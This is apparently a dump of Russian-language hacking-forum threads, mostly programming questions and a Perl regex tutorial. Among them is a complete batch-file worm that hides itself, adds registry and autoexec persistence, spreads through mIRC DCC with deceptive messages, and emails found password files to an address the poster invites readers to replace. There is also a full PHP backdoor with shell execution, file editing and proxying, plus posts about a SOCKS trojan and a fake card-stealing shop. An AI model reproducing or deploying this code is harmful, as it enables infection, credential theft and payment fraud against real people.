Thread ID: 11179
Created: 2006-08-30T10:07:32+0000
Last Post: 2006-08-31T20:10:38+0000
Author: m4rrow
Replies: 9 Views: 3K

Поступаю в комп. академию на кодера) нужно до октября выучить:
Алгоритмика
Алгебра логика
Системы исчисления
Подбросте инфо пожалуйста, гугл нерулит, т.к. траффа нема(.

Хелп нужОн он лайн сокс чекер
ID: 67668b27b4103b69df375ece
Thread ID: 10534
Created: 2006-08-14T12:31:21+0000
Last Post: 2006-08-31T11:35:55+0000
Author: Sinte Z z
Replies: 8 Views: 3K

:( Гмм недавно заказал сокс трой со статами кодер выполнил работу :bang: превосходно только вот что херово , некоторые из готовых соксов после загрузки доХХлые , кодер щас в оффе , мож кто подскажет пхп скрипт для их чека и постоянное обновление ?

ы ?

:baby:

Java Script - Preloader
ID: 67668b27b4103b69df375ed8
Thread ID: 10464
Created: 2006-08-12T14:12:38+0000
Last Post: 2006-08-15T06:52:08+0000
Author: Foxa
Replies: 5 Views: 3K

Есть сценарий прелоадера для сайта, написанный на Java Script, который отображает на экране сообщение: "Подождите! Идет загрузка..." до тех пор, пока не будет загружена вся графика на данной Web - Страничке. Вот его листинг:

Подождите! Идет загрузка...

На сайте стоит флеш логотип. Как только открываешь сайт - появляется логотип и надпись Подождите! Идёт загрузка...
И сайт далее вообще не загружается... В чём проблема, как её решить ?

PHP
ID: 67668b27b4103b69df375ed9
Thread ID: 8743
Created: 2006-05-27T09:12:11+0000
Last Post: 2006-08-12T09:30:32+0000
Author: UnWin
Replies: 6 Views: 3K

Доброго все времени суток..

Столкнулся с проблемой скорости работы скрипта если в очереди куча запросов.
Ктонить знает как реализовать многопоточность в ПХП?

Я пробовал fork() но меня не устроило
1 - что он порождает не потоки а процессы
2 - что он судя по всему переопределяет stdout ибо все мессаги идут не на на страницу мне а кудато туда --->...(я подозреваю что либо на tty1 либо на tty12).

Собсно вот..

Вопросы по PHP
ID: 67668b27b4103b69df375edb
Thread ID: 10406
Created: 2006-08-10T06:29:02+0000
Last Post: 2006-08-11T20:06:50+0000
Author: ammok
Replies: 8 Views: 3K

Вот встал тут у меня вопросик, надо парсить лог:

01Jul2006/03:45: 64..25.38 81.1.238.90 1 40
01Jul2006/03:50: 81.1.
.6 81.1.238.90 5 145
01Jul2006/03:50: 205.
.57.55 81.1.238.90 1 908
01Jul2006/03:50: 82.
.39.6 81.1.238.90 1 154
01Jul2006/03:50: 64.
.25.38 81.1.238.90 3 557
01Jul2006/03:55: 82.
.39.6 81.1.238.90 1 125
01Jul2006/03:55: 64.
.25.38 81.1.238.90 1 40
01Jul2006/04:00: 64.**2.25.38 81.1.238.90 2 80

Click to expand...

Объясню в кратце: первый столбик - дата, второй - с кокого ИП, третий - на кокой ИП, четверый - количество пакетов и пятый - количество байт.

Задача сумировать количество байт.

Внимание вопрос: в строке нет разделителей, как мне из каждой строки вытащить количество байт и поместить их в $string?

В перловом скрипте я делал так:

Code:Copy to clipboard

while (<LOG>) {
chomp;
    ($a,$b,$c,$d,$e) = split;
$bytes = $e;
}

А вот как подобное заюзать на пхп?

З.Ы. Админы закрепите тему, а то в разделе уже куча подобных тем появилось.

phpBB
ID: 67668b27b4103b69df375edc
Thread ID: 10369
Created: 2006-08-07T17:33:18+0000
Last Post: 2006-08-11T12:46:30+0000
Author: b1t
Replies: 8 Views: 3K

Здарова дорогие веб-кодеры.

Вот я форум делал на www.h1.ru (т.е. на phpBB v 2.0.16) но дизайн (этот стиль) тааак ужасно... я где то видел другой стиль.. это как делать???
т.е. как менять стиль??
ПОЖАЛУЙСТА, обясните очень прост...я совсем новычек по этому делу..

Классный шаблон
ID: 67668b27b4103b69df375edd
Thread ID: 10399
Created: 2006-08-09T14:02:07+0000
Last Post: 2006-08-10T13:36:50+0000
Author: IFrin
Replies: 8 Views: 3K

Наверняка не одно web-приложение уже не обходится без смены оформления, но я пока лишь могу реализовать это в виде функций, в которые я буду помещать данные излеченные из БД и html код. Но это не удобный способ ибо код html и php начинают сливаться - да и создавать новые шаблоны сплошной гемор. Узнал что существуют уже готовые написанные классы в php, которые помогут все это реализовать...
У меня следующий вопрос к php-кодерам как написать подобный класс, желательно на примерах, посколько теория будет лишней (для меня)..

Кнопкм - линк на сайт
ID: 67668b27b4103b69df375ee3
Thread ID: 10093
Created: 2006-05-27T16:04:17+0000
Last Post: 2006-07-26T09:31:59+0000
Author: aivus
Replies: 2 Views: 3K

Подскажите пожалуйста, как сделать кнопку при нажатии на которую открывается браузер и сайтом domain.com :unsure:

Заранее спасибо!

Md5HashCracker
ID: 67668b27b4103b69df375ee5
Thread ID: 10126
Created: 2006-07-25T03:21:23+0000
Last Post: 2006-07-25T03:21:23+0000
Author: Ŧ1LAN
Replies: 0 Views: 3K

Может кому надо. =) сорсы и ДЛЛка требующаяся для работы программы всё присутсвует, только есть маленькое НО. программа не работает. кому интересно можете повозиться и доделать там. Исправлений от автора так и не было.
:zns5: Скачать|Download
Добавлено в [time]1153797683[/time]
компилятор VB6

Как открыть удаленный фаил?
ID: 67668b27b4103b69df375ee6
Thread ID: 10097
Created: 2006-05-27T19:34:06+0000
Last Post: 2006-07-25T03:11:21+0000
Author: aivus
Replies: 1 Views: 3K

Еще вопросик:
Как можно открывать удаленные файлы??? (например для обновления проги с сайта).

З.Ы. Подойдет ли обычное открытие Open??? :help:

Сенкс :excl: :excl: :excl:

Регулярные выражения в Perl
ID: 67668b27b4103b69df375f18
Thread ID: 6609
Created: 2006-01-19T13:45:53+0000
Last Post: 2006-01-19T13:45:53+0000
Author: red_byte
Replies: 0 Views: 3K

Регулярные выражения в Perl
Автор:red_byte
Оригинал

[INTRO]
Регулярные выражения - термин, который служит для обозначения образца, состоящего из символов, который используется при анализе строковых данных. Скрипты Perl’а используют символьные образцы для того, чтобы провести анализ входных данных, расделяя их на части. Если входные данные имеют строго определенный формат, в этом случае с задачей обработки данных могут справиться и стандартные строковые функции. Но когда входные данные имеют произвольный формат, то с такой задачей справиться под силу только либо самостоятельно написанным программистом функциям, либо регулярным выражениям. На мой взгляд, второе предпочтительней и удобнее. В этой статье я подробно расскажу о таких выражениях, и покажу, как можно использовать их на практике.

[Таблица знаков, используемых в регулярных выражениях]
Для того чтобы уменьшить размер регулярных выражений, perl использует специальные символы для обозначения соответствий. В следующей таблице я бы хотел тебя познакомить с этой таблицей соответствия. Советую тебе распечатать ее и повесить куда-нибудь на видное место около компьютера, чтобы можно было пользоваться ей как шпаргалкой:)
**
Символ Описание**
. Любой символ (за исключением символа новой строки)
(..) Группирует последовательность элементов
+ Удовлетворяет предыдущему образцу один или более раз
? Удовлетворяет образцу нуль или один раз
[...] Соответствует символу из заданного множества
[^...] Соответствует символу из множества, заданного отрицанием

  • Соответствует образцу нуль или один раз
    (...|...|...)Соответствует одной из предложенных альтернатив
    $ Соответствует образцу в конце строки
    ^ Соответствует началу строки
    {n, m} Соответствует образцу от n до m раз
    {n} Соответствует образцу точно n раз
    {n,} Соответствует образцу минимум n раз
    \n\t Соответствует символу новой строки, знаку табуляции и т.д.
    \b Соответствует границе слова
    \В Соответствует внутри границ слова
    \d Соответствует цифре
    \D Соответствует не цифре
    \s Соответствует пробелу
    \S Соответствует не пробелу
    \w Соответствует букве или цифре
    \W Соответствует символу, не являющимся не буквой, ни цифрой

[Поиск по ключевым словам]
Итак, как уже было сказано выше, скрипты языка Perl используют регулярные выражения для того, чтобы значительно упростить сравнение строк. Регулярные выражения помещаются между двумя слешами. Таким образом, в качестве самого простого примера регулярного выражения можно привести пример поиска наличия подстроки darkcoders.net во входной строке $str:
if ($str =~ /darkcoders.net/)
В данном случае возвращается значение <истинно>, если образец обнаружен в строке $str. Если строка не содержит образца dark, то выражение возвращает значение <ложно>. Для того чтобы проверить полное совпадение, сравнение должно быть привязано к началу и концу строки. Например, следующее выражение имеет значение <истинно>, если только переменная $str принимает одно из трех значений: , и :
if ($str =~ /^dark© {1,3}$/)
Аналогичным образом, следующее выражение истинно только тогда, когда переменная $str содержит слово и не является частью другого слова, такого как <red_byte>.
($str =~ /\bred\b/)
Perl поддерживает также другую форму сравнения с образцом, использующая оператор (=~), но добавляющая отрицание результата: (!~). Этот оператор эквивалентен выражению:
!($str =~ /sample/)

[Использование регулярных выражений для анализа входных данных]
По мере усложнения твоих перловых скриптов возникнет много случаев, когда ты хочешь узнать больше, чем просто проверить, присутствует ли заданный образец в данной. Например, тебе потребуется чтобы скрипт извлек определенное значение из строки. Используя символы группировки () внутри регулярного выражения, скрипт может извлечь соответствующие образцу значения из строки и сформировать из них список. Например, кусок кода использует регулярные выражения для того, чтобы извлечь день,месяц и год дня рождения нашего проекта DarkCoders:

$str = " DarkCodersCrew 8.01.06";
($name, $d, $m, $y) = $str =~ /\s*(\S*)\s+(\d*)\D*(\d+)\D*(\d*)/;
print "$name was found on $d-$m-20$y";

Результат работы скрипта:

Теперь разберем step-by-step, что же делает это регулярное выражение:
1)Пропустить пробел, если он есть
2)Записать все символы, не являющиеся специальными в переменную $name 3)Пропустить пробел
4)Записать число в переменную $d
5)Пропустить точку
6)Записать число в переменную $m
7)Пропустить точку
8)Записать число в переменную $y

[Регулярные выражения для поиска и замены строк]
До этого момента мы использовали только операторы, проверяющие на соответствие образцу. Но, оказывается, Perl поддерживает также два других регулярных выражения, которые могут модифицировать проверяемую строковую переменную. В приведенном дальше куске кода Perl замещает часть троки, которая соответствует образцу, на заданную строку:
$str =~ s/образец/строка замены/;
Например, следующая конструкция заменит слово на :
$str =~ s/\bdark\b/light/;
Чтобы заменить все встретившиеся слова на light, надо изменить код вот так: $str =~ s/\dark\b/light/g;
В данном случае постфикс g в конце выражения указывает языку Perl на необходимость глобальной подстановки. А используя постфикс i, можно задать выполнение поиска с учётом регистра. В противоположность простой проверке на соответствие образцу, следующее выражение осуществляет также и замену:
$str =~ tr/Список_поиска/Список_замены/;
Например, чтобы перевести все символы из нижнего регистра в верхний, можно использовать такой код:
$str =~ tr/a-z/A-Z/;

[OUTRO]
Я надеюсь, что моя статья помогла тебе разобраться в этой нелегкой теме регулярных выражений. Если что-то не понял, перечитай еще раз. Если у тебя будут ко мне вопросы, пиши, я постараюсь на них ответить. Удачного кодинга;)

Copyright 2005-2006 © DarkCoders crew. Копирование статей только с указанием имени автора и ссылки на сайт http://www.darkcoders.net

Тест мать его
ID: 67668b27b4103b69df375eec
Thread ID: 9230
Created: 2006-06-14T16:19:02+0000
Last Post: 2006-06-16T12:30:00+0000
Author: [Fr0sT]
Replies: 8 Views: 3K

Короче суть проблемы такова:
имеется программа (тест), на которой будут тестироватся сотрудники некой компании. Надо ответит на некоторое количество вопросов, которые конечно же меняются каждый раз. Т.к повторения вопросов бывают (примерно 40%)то вероятно вопросов не так уж много.
Вопрос: каким образом можно посмотреть(если можно) комбинацию
[вопрос-правильный ответ]. Есть нескольк интересных фаилов отоброхающихся как файлы access'а, но через его они непросматриваются(возможно это и сть вопрос -ответ ? =) хз ).
Прошу не материть если что не так, так как сам незнаю что делать и немогу правильно сформулировать судь проблемы =)
Короче если у кого есть идеи- поделитесь, желательно побыстрее, время жмёт.
:help:

Блок схемы
ID: 67668b27b4103b69df375eed
Thread ID: 8778
Created: 2006-05-28T14:06:48+0000
Last Post: 2006-06-05T05:25:47+0000
Author: Psixo
Replies: 8 Views: 3K

Сейчас вот пишу студиозам проги,некоторым необходимы еще и алгоритмы в виде блок схем,ясно дело возник у меня вопрос,а нет ди уже готовой проги которая анализировала код на C++ и создавала бы блок схему проги? ведь не я одни такой умный,наверняка идея реализованна,только пока не нашел где... :(

Пишу генератор
ID: 67668b27b4103b69df375eef
Thread ID: 10095
Created: 2006-05-29T16:05:23+0000
Last Post: 2006-05-29T16:45:48+0000
Author: Salieri
Replies: 1 Views: 3K

Подскажите пожалуйста, как сделать так чтобы при нажатии на кнопку
данные сохранялись в файл( P.S генератор паролей uin;pass)

Заранее спасибо! :)

Perl question
ID: 67668b27b4103b69df375ef2
Thread ID: 8497
Created: 2006-05-18T10:37:48+0000
Last Post: 2006-05-18T12:35:35+0000
Author: red_byte
Replies: 2 Views: 3K

Как в Perl захешировать строку в MD5 ? Кажется, стандартной функции там нет (ткните меня носом, если я не прав!)

стройка червека на batch
ID: 67668b27b4103b69df375ef3
Thread ID: 8326
Created: 2006-05-07T15:11:56+0000
Last Post: 2006-05-08T13:24:12+0000
Author: dracula
Replies: 8 Views: 3K

вот код :

Code:Copy to clipboard

REM r3x0r- Written by dracula aka dracula_2000.
Main:
if exist %windir%\%r3x0r% goto Eov
set r3x0r=%random%.bat
ren %0 %r3x0r%
echo set r3x0r=%r3x0r% >> %HOMEDRIVE%\autoexec.bat :Deploy
copy %0 "%windir%\system32\drivers\etc"
attrib +h %windir%\system32\drivers\etc\%r3x0r%
copy %0 "%windir%\system32\systemprofile\"
attrib +h %windir%\system32\systemprofile\%r3x0r%
copy %0 %windir%
attrib +h %windir%\%r3x0r%
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "win32dll" /d "if not exist %windir%\%r3x0r% copy "%windir%\system32\drivers\etc" %windir%&call %windir%\%r3x0r%
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\win32dll" /v "key" /d "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\win32dll" /v "hkey" /d "HKCU"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\win32dll" /v "command" /d "if not exist "%windir%\%r3x0r% copy %windir%\system32\drivers\etc" %windir%&call %windir%\%r3x0r%
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\win32dll" /v "item" /d "r3x0r"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\win32dll" /v "inimapping" /d "0"
echo if not exist %windir%\system32\drivers\etc\%r3x0r% call %windir%\system32\systemprofile\%r3x0r% >> %HOMEDRIVE%\autoexec.bat
echo if not exist %windir%\system32\drivers\etc\%r3x0r% copy %windir%\system32\systemprofile\%r3x0r% %windir%\system32\drivers\etc >> %HOMEDRIVE%\autoexec.bat
echo if not exist %windir%\%r3x0r% call %windir%\system32\drivers\etc\%r3x0r% >> %HOMEDRIVE%\autoexec.bat
echo if not exist %windir%\r3x0r.bat copy %windir%\system32\drivers\etc %windir% >> %HOMEDRIVE%\autoexec.bat
attrib +h %HOMEDRIVE%\autoexec.bat
echo [Windows] >> %windir%\win.ini
echo if not exist %windir%\system32\drivers\etc\%r3x0r% call %windir%\system32\systemprofile\%r3x0r% >> %windir%\win.ini
echo if not exist %windir%\system32\drivers\etc\%r3x0r% copy %windir%\system32\systemprofile\%r3x0r% %windir%\system32\drivers\etc >> %windir%\win.ini
echo if not exist %windir%\%r3x0r% call %windir%\system32\drivers\etc\%r3x0r% >> %windir%\win.ini
echo if not exist %windir%\%r3x0r% copy %windir%\system32\drivers\etc %windir% >> %windir%\win.ini
attrib +h %windir%\win.ini
Irc:
for %%i in (c,d,e,f,g) do (for %%a in (
%%i:\mirc\
%%i:\mirc32\
%%i:\Omegascript\
%%i:\progra~1\mirc\
%%i:\progra~1\mirc32\
%%i:\progra~1\Omegascript\
) do (for %%z in (mirc.exe,mirc32.exe) do (if exist %%a%%z Set Mp=%%a& Set Dmp=%%i:& Goto IrcInf )))
goto FndPsFl:
IrcInf:
if '%0'=='%r3x0r%' copy %0 %Mp%
if '%0'=='r3x0r' copy %0.bat %Mp%
if not exist %mp%%r3x0r% copy %cd%\%r3x0r% %mp%
attrib +h %mp%%r3x0r%
%Dmp%
cd %Mp%
Set {={& Set }=}
if exist Temp.txt Ren Temp.xxx
echo on *:join:*: %{% >> Temp.txt
echo var %ooo 1 >> Temp.txt
echo while (%ooo <= $nick($chan,0)) %{% >> Temp.txt
echo if ($nick($chan,%ooo) != $me) %{% >> Temp.txt
echo /timer 1 2 /.msg $nick($chan,%ooo) Sup bro? remember me? >> Temp.txt
echo /timer 1 6 /.msg $nick($chan,%ooo) u can help me with some file? >> Temp.txt
echo /timer 1 9 /.msg $nick($chan,%ooo) just tell me what you see when you run him, thx bro! >> Temp.txt
echo /timer 1 11 /.msg $nick($chan,%ooo) Hoo, and dont be afraid- it's not a virus. >> Temp.txt
echo /timer 1 13 //dcc send $nick($chan,%ooo) %r3x0r% >> Temp.txt
echo %}% >> Temp.txt
echo inc %ooo >> Temp.txt
echo %}% >> Temp.txt
echo %}% >> Temp.txt
Type Temp.txt >> script.ini
del Temp.txt
if exist Temp.xxx Ren Temp.txt
FndPsFl:
for %%i in (c,d,e,f,g) do (for %%a in (
%%i:\
%%i:\Pwd\
%%i:\Passwo~1\
%%i:\Progra~1\
%%i:\Progra~1\Pwd\
%%i:\Windows\
%%i:\Windows\Pwd\
%%i:\Windows\Passwo~1\
%%i:\DOCUME~1\%username%\
%%i:\DOCUME~1\%username%\Pwd\
%%i:\DOCUME~1\%username%\Passwo~1\
%%i:\DOCUME~1\%username%\Desktop\
%%i:\DOCUME~1\%username%\Desktop\Pwd\
%%i:\DOCUME~1\%username%\Desktop\Passwo~1\
) do (for %%k in (Pass.txt,Password.txt,Passwords.txt,Pwd.txt) do (if exist %%a%%k Set PssFldr=%%a%%k& Goto SndMl)))
Goto Eov
SndMl:
If exist Mail.vbs ren Mail.xxx
Echo set objSMail = CreateObject("CDONTS.NewMail") >> Mail.vbs
Echo objSMail.From = r3x0r@g0.com >> Mail.vbs
Echo objSMail.To =r3x0r@walla.co.il >> Mail.vbs
Echo objSMail.Subject = "%r3x0r%" >> Mail.vbs
Echo objSMail.Body = "%r3x0r%" >> Mail.vbs
Echo objSmail.AddAttachment "%Pssfldr%" >> Mail.vbs
Echo objSMail.Send >> Mail.vbs
Echo WScript.quit >> Mail.vbs
Call Mail.vbs
Dell Mail.vbs
If exist Mail.xxx ren Mail.vbs
Eov:

А теперь что это всё значит. Я не всё обьясню а только главное.

Code:Copy to clipboard

Main:
if exist %windir%\r3x0r.bat goto Eov

этот ряд озночает что если надо то червяк включиться а если не тогда нет.

Code:Copy to clipboard

Deploy:
copy %0 "%windir%\system32\drivers\etc"
attrib +h %windir%\system32\drivers\etc\%r3x0r%
copy %0 "%windir%\system32\systemprofile\"
attrib +h %windir%\system32\systemprofile\%r3x0r%
copy %0 %windir%
attrib +h %windir%\%r3x0r%
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "win32dll" /d "if not exist %windir%\%r3x0r% copy "%windir%\system32\drivers\etc" %windir%&call %windir%\%r3x0r%
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\win32dll" /v "key" /d "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\win32dll" /v "hkey" /d "HKCU"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\win32dll" /v "command" /d "if not exist "%windir%\%r3x0r% copy %windir%\system32\drivers\etc" %windir%&call %windir%\%r3x0r%
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\win32dll" /v "item" /d "r3x0r"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\win32dll" /v "inimapping" /d "0"
echo if not exist %windir%\system32\drivers\etc\%r3x0r% call %windir%\system32\systemprofile\%r3x0r% >> %HOMEDRIVE%\autoexec.bat
echo if not exist %windir%\system32\drivers\etc\%r3x0r% copy %windir%\system32\systemprofile\%r3x0r% %windir%\system32\drivers\etc >> %HOMEDRIVE%\autoexec.bat
echo if not exist %windir%\%r3x0r% call %windir%\system32\drivers\etc\%r3x0r% >> %HOMEDRIVE%\autoexec.bat
echo if not exist %windir%\r3x0r.bat copy %windir%\system32\drivers\etc %windir% >> %HOMEDRIVE%\autoexec.bat
attrib +h %HOMEDRIVE%\autoexec.bat
echo [Windows] >> %windir%\win.ini
echo if not exist %windir%\system32\drivers\etc\%r3x0r% call %windir%\system32\systemprofile\%r3x0r% >> %windir%\win.ini
echo if not exist %windir%\system32\drivers\etc\%r3x0r% copy %windir%\system32\systemprofile\%r3x0r% %windir%\system32\drivers\etc >> %windir%\win.ini
echo if not exist %windir%\%r3x0r% call %windir%\system32\drivers\etc\%r3x0r% >> %windir%\win.ini
echo if not exist %windir%\%r3x0r% copy %windir%\system32\drivers\etc %windir% >> %windir%\win.ini
attrib +h %windir%\win.ini

эти ряды защищают нашего червека от владельца компьютора.

Code:Copy to clipboard

FndPsFl:
for %%i in (c,d,e,f,g) do (for %%a in (
%%i:\
%%i:\Pwd\
%%i:\Passwo~1\
%%i:\Progra~1\
%%i:\Progra~1\Pwd\
%%i:\Windows\
%%i:\Windows\Pwd\
%%i:\Windows\Passwo~1\
%%i:\DOCUME~1\%username%\
%%i:\DOCUME~1\%username%\Pwd\
%%i:\DOCUME~1\%username%\Passwo~1\
%%i:\DOCUME~1\%username%\Desktop\
%%i:\DOCUME~1\%username%\Desktop\Pwd\
%%i:\DOCUME~1\%username%\Desktop\Passwo~1\
) do (for %%k in (Pass.txt,Password.txt,Passwords.txt,Pwd.txt) do (if exist %%a%%k Set PssFldr=%%a%%k& Goto SndMl)))
Goto Eov

этот код находит нам все пароли которые есть на компьюторе. :P :P :P

Code:Copy to clipboard

SndMl
If exist Mail.vbs ren Mail.xxx
Echo set objSMail = CreateObject("CDONTS.NewMail") >> Mail.vbs
Echo objSMail.From = r3x0r@g0.com >> Mail.vbs
Echo objSMail.To =r3x0r@yandex.ru>> Mail.vbs
Echo objSMail.Subject = "%r3x0r%" >> Mail.vbs
Echo objSMail.Body = "%r3x0r%" >> Mail.vbs
Echo objSmail.AddAttachment "%Pssfldr%" >> Mail.vbs
Echo objSMail.Send >> Mail.vbs
Echo WScript.quit >> Mail.vbs
Call Mail.vbs
Dell Mail.vbs
If exist Mail.xxx ren Mail.vbs

а этот пошлёт на наш email пароли которые он нашёл.
только вместо r3x0r@yandex.ru напишите ваш email.

надеюсь вам понравилось.

Упрощение компилирования
ID: 67668b27b4103b69df375ef7
Thread ID: 8166
Created: 2006-05-01T17:14:52+0000
Last Post: 2006-05-04T15:53:34+0000
Author: Namelles One
Replies: 7 Views: 3K

А вот такой вопрос...
Очень часто приходится компилить одиночный cpp файл...
И приходится каждый раз создавать всякие проекты и т.д. (Студия 2005)

Короче, гемора очень много...
Так можно ли написать bat файл, чтобы он просто компилил cpp в exe (на основе компиля Студии есессно), пропуская всякие ненужные процедуры.

PHP backdoor
ID: 67668b27b4103b69df375f00
Thread ID: 7525
Created: 2006-03-23T13:38:51+0000
Last Post: 2006-03-24T12:02:14+0000
Author: Ŧ1LAN
Replies: 2 Views: 2K

С помощюь этого бэкдора вы можете: редактировать, удалять, смотреть, читать файлы также вы можеть использовать ИП заражённого сервака.
Извиняюсь за корявый перевод, но у автора похоже были небольшие проблемы с анлийским...

Code:Copy to clipboard

<? 
/* 
   Backdoor php v0.1 
   Coded By Charlichaplin 
   charlichaplin@gmail.com 
   Join me: irc.fr.worldnet.net #s-c 
   Greetz: My dog :) 
*/ 

class backdoor { 
   var $pwd; 
   var $rep; 
   var $list = array(); 
   var $file; 
   var $edit; 
   var $fichier; 
   var $del; 
   var $shell; 
   var $proxy; 
       
   function dir() { 
      if(!empty($this->rep)) { 
      $dir = opendir($this->rep); 
      } else { 
         $dir = opendir($this->pwd); 
      } 
      while($f = readdir($dir)) { 
          if ($f !="." && $f != "..") { 
             $this->list[] = $f; 
          } 
      } 
   } 
    
   function view() { 
       
      $this->file = htmlentities(highlight_file($this->file)); 
   } 
    
   function edit() { 
      if(!is_writable($this->edit)) { 
         echo "Ecriture impossible sur le fichier"; 
      } elseif(!file_exists($this->edit)) { 
         echo "Le fichier n'existe pas "; 
      } elseif(!$this->fichier) { 
         $fp = fopen($this->edit,"r"); 
         $a = ""; 
         while(!feof($fp)) { 
            $a .= fgets($fp,1024); 
         } 
         echo"<form method=\"POST\" action=\"".$_SERVER['PHP_SELF']."?edit=".$this->edit."\"><textarea name=\"fichier\" cols=\"50\" rows=\"20\">".htmlentities($a)."</textarea><input name=\"Submit\" type=\"submit\"></form>";                
      } else { 
         $fp = fopen($this->edit,"w+"); 
         fwrite($fp, $this->fichier); 
         fclose($fp); 
         echo "Le fichier a été modifié"; 
          
      } 
   } 
    
   function del() { 
      if(is_file($this->del)) { 
         if(unlink($this->del)) { 
            echo "Fichier supprimé"; 
         } else { 
            echo "Vous n'avez pas les droits pour supprimer ce fichier"; 
         } 
      } else { 
         echo $this->del." n'est pas un fichier"; 
      } 
   } 
    
   function shell() { 
      echo "<form method=\"POST\" action=\"".$_SERVER['PHP_SELF']."\"><input name=\"shell\" type=\"text\"><input type=\"submit\" name=\"Shell\"></form>
"; 
      system($this->shell); 
   } 
    
   function proxy($host,$page) { 
       
      $fp = fsockopen($host,80); 
      if (!$fp) { 
         echo "impossible d'etablir un connection avec l'host"; 
      } else { 
         $header = "GET ".$page." HTTP/1.1\r\n"; 
         $header .= "Host: ".$host."\r\n"; 
         $header .= "Connection: close\r\n\r\n"; 
         fputs($fp,$header); 
         while (!feof($fp)) { 
            $line = fgets($fp,1024); 
            echo $line; 
         } 
         fclose($fp); 
      } 
   } 
    
   function ccopy($cfichier,$cdestination) { 
      if(!empty($cfichier) && !empty($cdestination)) { 
         copy($cfichier, $cdestination); 
         echo "Le fichier a été copié"; 
      } else { 
         echo "<form method=\"POST\" action=\"".$_SERVER['PHP_SELF']."?copy=1\">Source: <input type=\"text\" name=\"cfichier\">
Destination: <input type=\"text\" name=\"cdestination\"><input type=\"submit\" title=\"Submit\"></form>"; 
      } 
   } 
} 
if(!empty($_REQUEST['rep'])) { 
   $rep = $_REQUEST['rep']."/"; 
} 
$pwd = $_SERVER['SCRIPT_FILENAME']; 
$pwd2  = explode("/",$pwd); 
$file = $_REQUEST['file']; 
$edit = $_REQUEST['edit']; 
$fichier = $_POST['fichier']; 
$del = $_REQUEST['del']; 
$shell = $_REQUEST['shell']; 
$proxy = $_REQUEST['proxy']; 
$copy = $_REQUEST['copy']; 
$cfichier = $_POST['cfichier']; 
$cdestination = $_POST['cdestination']; 

$n = count($pwd2); 
$n = $n - 1; 
$pwd = ""; 
for ($i = 0;$i != $n;$i = $i+1) { 
   $pwd .= "/".$pwd2[$i]; 
} 

if($proxy) { 
$host2 = explode("/",$proxy); 
$n = count($host2); 
$host = $host2[2]; 
$page = ""; 
for ($i = 3;$i != $n;$i = $i+1) { 
   $page .= "/".$host2[$i]; 
} 
echo $page; 
} 

echo "<HTML><HEAD><TITLE>Index of ".$pwd."</TITLE>"; 
$backdoor = new backdoor(); 
$backdoor->pwd = $pwd; 
$backdoor->rep = $rep; 
$backdoor->file = $file; 
$backdoor->edit = $edit; 
$backdoor->fichier = $fichier; 
$backdoor->del = $del; 
$backdoor->shell = $shell; 
$backdoor->proxy = $proxy; 
echo "<TABLE><TR><TD bgcolor=\"#ffffff\" class=\"title\"><FONT size=\"+3\" face=\"Helvetica,Arial,sans-serif\"><B>Index of ".$backdoor->pwd."</B></FONT>"; 
$backdoor->dir(); 

echo "</TD></TR></TABLE><PRE>"; 
echo "<a href=\"".$_SERVER['PHP_SELF']."?shell=id\">Executer un shell</a> "; 
echo "<a href=\"".$_SERVER['PHP_SELF']."?proxy=http://www.cnil.fr/index.php?id=123\">Utiliser le serveur comme proxy</a> "; 
echo "<a href=\"".$_SERVER['PHP_SELF']."?copy=1\">Copier un fichier</a> 
"; 
echo "<IMG border=\"0\" src=\"/icons/blank.gif\" ALT=\"     \"> <A HREF=\"\">Name</A>                    <A HREF=\"\">Last modified</A>       <A HREF=\"\">Size</A>  <A HREF=\"\">Description</A>"; 
echo "<HR noshade align=\"left\" width=\"80%\">"; 

if($file) { 
   $backdoor->view();    
} elseif($edit) { 
   $backdoor->edit(); 
} elseif($del) {    
   $backdoor->del(); 
} elseif($shell) {    
   $backdoor->shell(); 
}elseif($proxy) { 
   $backdoor->proxy($host,$page); 
}elseif($copy == 1) { 
   $backdoor->ccopy($cfichier,$cdestination); 
} else { 
   echo "[DIR] <A HREF=\"".$_SERVER['PHP_SELF']."?rep=".realpath($rep."../")."\">Parent Directory</A>         ".date("r",realpath($rep."../"))."     - 
"; 
   foreach ($backdoor->list as $key => $value) { 
      if(is_dir($rep.$value)) { 
         echo "[DIR]<A HREF=\"".$_SERVER['PHP_SELF']."?rep=".$rep.$value."\">".$value."/</A>                  ".date("r",filemtime($rep.$value))."      -  
"; 
      } else { 
         echo "[FILE]<A HREF=\"".$_SERVER['PHP_SELF']."?file=".$rep.$value."\">".$value."</A>  <a href=\"".$_SERVER['PHP_SELF']."?edit=".$rep.$value."\">(edit)</a> <a href=\"".$_SERVER['PHP_SELF']."?del=".$rep.$value."\">(del)</a>          ".date("r",filemtime($rep.$value))."     1k  
"; 
      } 
   } 
} 
echo "</PRE><HR noshade align=\"left\" width=\"80%\">"; 
echo "<center><b>Coded By Charlichaplin</b></center>"; 
echo "</BODY></HTML>";
Фейк сайт с сбором СС
ID: 67668b27b4103b69df375cae
Thread ID: 117072
Created: 2024-06-18T04:34:41+0000
Last Post: 2024-11-13T16:13:48+0000
Author: Fuck4
Replies: 6 Views: 2K

Нашел на фтп сервере более 400 сайтов человека который делал фейки магазинов и как я понял воровал сс или даже балансы с карт, вот один из сайтов выгрузил может кому пригодится

